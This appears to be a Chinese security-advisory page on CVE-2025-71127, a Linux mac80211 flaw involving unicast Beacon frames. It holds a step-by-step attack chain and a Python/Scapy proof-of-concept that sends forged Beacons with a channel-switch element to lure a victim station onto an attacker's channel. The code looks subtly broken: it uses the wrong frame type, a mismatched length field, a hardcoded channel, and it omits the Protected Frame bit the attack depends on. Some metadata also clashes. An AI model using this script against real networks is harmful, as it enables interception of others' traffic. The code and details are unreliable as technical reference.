IPBUF安全漏洞报告
English
CVE-2025-71127 CVSS 5.5 中危

CVE-2025-71127 Linux内核mac80211 Beacon帧单播地址过滤绕过漏洞

披露日期: 2026-01-14
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2025-71127
漏洞类型
访问控制绕过
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux kernel mac80211

相关标签

CVE-2025-71127Linux内核mac80211WiFi安全Beacon帧访问控制绕过802.11协议本地攻击认证绕过中间人攻击

漏洞概述

CVE-2025-71127是Linux内核WiFi子系统mac80211中的一个安全漏洞。根据IEEE Std 802.11-2020标准,Beacon帧必须发送到广播地址,但当前实现存在安全缺陷。当Beacon帧的Protected Frame标志位被设置为1时,用于检查BIGTK(Group Temporal Key)的逻辑无法正常工作。如果驱动程序没有针对此类单播Beacon帧的丢弃逻辑,攻击者可以发送伪造的单播Beacon帧(如包含CSA信道切换通告)来绕过Beacon保护机制,诱导目标STA切换到恶意信道或执行其他攻击操作。该漏洞本地攻击即可利用,无需认证和用户交互。

技术细节

漏洞根因在于mac80211对Beacon帧的接收验证逻辑不完整。IEEE 802.11标准明确要求Beacon帧的A1字段(接收地址)必须为广播地址(ff:ff:ff:ff:ff:ff)。当前实现仅在Protected Frame位为0时正确丢弃单播Beacon帧,但当该位为1时,检查BIGTK的逻辑存在缺陷,无法有效验证帧的有效性。攻击者可以构造A1为单播地址且Protected Frame位为1的Beacon帧,由于缺少驱动程序级别的过滤,这些帧会被mac80211作为有效Beacon帧处理。攻击者利用此漏洞可发送包含CSA(Channel Switch Announcement)元素的单播Beacon帧,诱导目标关联STA切换到攻击者控制的信道,从而进行中间人攻击或流量窃取。修复方案为在接收端增加通用检查逻辑,丢弃所有A1为非广播地址的Beacon帧。

攻击链分析

STEP 1
步骤1
攻击者获取目标WiFi网络的BSSID和目标STA的MAC地址
STEP 2
步骤2
攻击者使用无线网卡监听目标网络,识别关联的STA
STEP 3
步骤3
攻击者构造包含恶意CSA(信道切换公告)元素的单播Beacon帧,A1字段设置为目标STA的单播MAC地址而非广播地址
STEP 4
步骤4
攻击者设置Beacon帧的Protected Frame位为1,利用mac80211在检查BIGTK时的逻辑缺陷
STEP 5
步骤5
向目标STA发送恶意Beacon帧,由于缺少驱动程序级别的过滤,帧被mac80211作为有效Beacon处理
STEP 6
步骤6
目标STA解析CSA元素,切换到攻击者指定的恶意信道
STEP 7
步骤7
攻击者在恶意信道进行中间人攻击或流量窃取

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2025-71127 PoC - Malicious Unicast Beacon Frame # Note: This PoC is for educational/research purposes only from scapy.all import Dot11, Dot11Beacon, Dot11Elt, RadioTap, sendp import sys def create_malicious_beacon(iface, bssid, target_mac, channel): """ Create and send a malicious unicast Beacon frame to trigger CVE-2025-71127 """ # RadioTap header for 802.11 frame radiotap = RadioTap() # Create 802.11 Beacon frame with UNICAST A1 (receiver address) # This violates IEEE 802.11 which requires broadcast A1 for Beacons dot11 = Dot11( type=2, # Management frame subtype=8, # Beacon frame addr1=target_mac, # UNICAST address (should be broadcast) addr2=bssid, addr3=bssid ) # Beacon frame body beacon = Dot11Beacon(cap=0x2101) # SSID element ssid = Dot11Elt(ID=0, info=b"EvilNetwork", len=10) # Channel element - attacker-controlled channel channel_elt = Dot11Elt(ID=3, info=bytes([channel])) # CSA (Channel Switch Announcement) element # Attackers use this to force victim to switch channels csa_ie = Dot11Elt(ID=37, info=bytes([1, 11, 0])) # channel 11 # Construct the complete frame # Note: Real attack would set Protected Frame bit in Frame Control frame = radiotap / dot11 / beacon / ssid / channel_elt / csa_ie return frame def main(): if len(sys.argv) < 5: print(f"Usage: {sys.argv[0]} <interface> <attacker_bssid> <target_mac> <channel>") print("Example: python3 poc.py wlan0 00:11:22:33:44:55 aa:bb:cc:dd:ee:ff 11") sys.exit(1) iface = sys.argv[1] bssid = sys.argv[2] target_mac = sys.argv[3] channel = int(sys.argv[4]) print(f"[*] Crafting malicious unicast Beacon frame") print(f"[*] BSSID: {bssid}") print(f"[*] Target: {target_mac}") print(f"[*] Forced Channel: {channel}") frame = create_malicious_beacon(iface, bssid, target_mac, channel) print(f"[*] Sending malicious Beacon frame...") sendp(frame, iface=iface, inter=0.1, count=10, verbose=1) print(f"[+] Attack completed") print("[!] If vulnerable, target may have switched to channel 11") if __name__ == "__main__": main()

影响范围

Linux kernel < 6.12 (with mac80211)
Stable kernel versions: 6.12.1 - 6.12.13
Longterm kernels: 6.6.67 - 6.6.86
Longterm kernels: 6.1.117 - 6.1.130

防御指南

临时缓解措施
在官方补丁发布前,可通过以下措施缓解风险:1) 禁用受影响设备上的WiFi功能或切换到有线网络;2) 监控无线网络流量,检测异常的Beacon帧(特别是单播地址的Beacon帧);3) 确保AP正确配置beacon保护(BIP);4) 限制非授权用户物理接近网络范围,因该漏洞需要本地攻击;5) 使用WPA3等更安全的认证协议替代WPA2。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表